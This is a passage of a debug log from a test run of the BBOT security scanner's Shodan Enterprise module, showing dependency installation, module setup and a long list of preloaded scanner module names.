preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 19:05:52,690 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 19:05:52,691 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 19:05:52,800 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 19:05:52,800 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 19:05:52,856 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 19:05:52,859 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 19:05:52,859 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 19:05:53,273 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 19:05:53,274 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 19:05:56,365 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 19:05:56,366 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 19:05:56,366 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 19:05:58,194 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 19:05:58,195 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 19:05:58,200 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:05:58,200 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 19:05:58,201 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:05:58,201 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 19:05:58,201 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 19:05:58,202 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 19:05:58,206 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/yye5s2zuf0cvb5nasp5i -2026-02-27 19:05:59,040 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 19:05:59,041 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 19:05:59,041 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:05:59,042 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 19:05:59,042 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:05:59,042 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 19:05:59,043 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 19:05:59,161 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 19:05:59,162 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 19:05:59,162 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 19:05:59,163 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 19:05:59,164 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 19:05:59,164 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 19:05:59,164 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 19:05:59,165 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 19:05:59,166 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 19:05:59,166 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 19:05:59,167 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 19:05:59,167 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 19:05:59,167 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 19:05:59,167 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 19:05:59,167 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 19:05:59,168 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 19:05:59,168 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 19:05:59,168 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 19:05:59,168 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 19:05:59,169 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 19:05:59,169 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 19:05:59,169 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 19:05:59,169 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 19:05:59,169 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 19:05:59,170 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 19:05:59,170 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 19:05:59,170 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 19:05:59,170 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 19:05:59,170 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 19:05:59,171 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 19:05:59,171 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 19:05:59,171 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 19:05:59,171 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 19:05:59,171 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 19:05:59,173 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 19:05:59,173 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 19:05:59,173 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 19:05:59,173 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 19:05:59,306 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 19:05:59,307 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 19:06:48,188 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 19:06:48,201 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 19:06:48,202 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 19:06:48,203 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 19:06:48,205 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 19:06:48,206 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 19:06:48,207 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 19:06:48,207 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 19:06:48,208 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 19:06:48,209 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 19:06:48,210 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 19:06:48,211 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 19:06:48,211 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 19:06:48,212 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 19:06:48,213 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 19:06:48,213 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 19:06:48,214 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 19:06:48,215 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 19:06:48,216 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 19:06:48,217 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 19:06:48,218 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 19:06:48,219 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 19:06:48,220 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 19:06:48,221 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 19:06:48,222 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 19:06:48,223 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 19:06:48,224 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 19:06:48,225 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 19:06:48,226 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 19:06:48,226 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 19:06:48,227 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 19:06:48,228 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 19:06:48,229 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 19:06:48,230 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 19:06:48,231 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 19:06:48,232 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 19:06:48,233 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 19:06:48,234 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 19:06:48,235 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 19:06:48,236 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 19:06:48,236 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 19:06:48,238 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 19:06:48,239 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 19:06:48,241 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 19:06:48,242 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 19:06:48,246 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 19:06:48,247 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 19:06:48,249 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 19:06:48,250 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 19:06:48,251 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 19:06:48,252 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 19:06:48,254 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 19:06:48,255 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 19:06:48,256 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 19:06:48,257 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 19:06:48,258 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 19:06:48,259 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 19:06:48,260 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 19:06:48,261 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 19:06:48,262 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 19:06:48,263 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 19:06:48,263 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 19:06:48,264 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 19:06:48,265 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 19:06:48,266 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 19:06:48,266 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 19:06:48,271 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 19:06:48,272 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 19:06:48,273 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 19:06:48,274 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 19:06:48,275 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 19:06:48,276 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 19:06:48,276 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 19:06:48,277 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 19:06:48,278 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 19:06:48,279 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 19:06:48,280 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 19:06:48,280 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 19:06:48,281 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 19:06:48,282 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 19:06:48,283 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 19:06:48,284 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 19:06:48,284 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 19:06:48,285 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 19:06:48,286 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 19:06:48,286 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 19:06:48,287 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 19:06:48,288 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 19:06:48,289 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 19:06:48,290 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 19:06:48,290 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 19:06:48,291 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 19:06:48,297 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 19:06:48,298 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 19:06:48,300 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 19:06:48,301 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 19:06:48,302 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 19:06:48,303 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 19:06:48,304 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 19:06:48,305 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 19:06:48,305 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 19:06:48,306 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 19:06:48,308 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 19:06:48,309 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 19:06:48,310 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 19:06:48,310 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 19:06:48,311 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 19:06:48,312 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 19:06:48,313 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 19:06:48,314 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 19:06:48,315 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 19:06:48,315 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 19:06:48,316 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 19:06:48,317 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 19:06:48,318 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 19:06:48,319 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 19:06:48,320 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 19:06:48,321 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 19:06:48,321 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 19:06:48,323 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 19:06:48,324 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 19:06:48,325 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 19:06:48,326 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 19:06:48,327 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 19:06:48,327 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 19:06:48,328 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 19:06:48,329 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 19:06:48,330 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 19:06:48,331 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 19:06:48,331 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 19:06:48,332 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 19:06:48,333 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 19:06:48,334 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 19:06:48,335 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 19:06:48,338 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 19:06:48,339 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 19:06:48,340 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 19:06:48,342 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 19:06:48,343 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 19:06:48,344 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 19:06:48,345 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 19:06:48,347 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 19:06:48,349 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 19:06:48,350 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 19:06:48,352 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 19:06:48,354 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 19:06:48,356 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 19:06:48,357 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 19:06:48,358 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 19:06:48,359 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 19:06:48,360 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 19:06:48,361 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 19:06:48,363 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 19:06:48,364 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 19:06:48,365 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 19:06:48,367 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 19:06:48,368 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 19:06:48,369 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 19:06:48,370 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 19:06:48,371 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 19:06:48,372 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 19:06:48,372 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 19:06:48,373 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 19:06:48,374 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 19:06:48,375 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 19:06:48,376 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 19:06:48,376 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 19:06:48,377 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 19:06:48,378 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 19:06:48,379 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 19:06:49,634 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:06:49,634 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:06:49,635 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 19:06:49,784 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 19:06:50,447 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 19:06:50,447 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 19:06:50,448 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 19:06:50,448 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 19:06:50,697 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 19:06:50,698 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 19:06:50,806 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 19:06:50,807 [DEBUG] bbot base.py:107 Executing 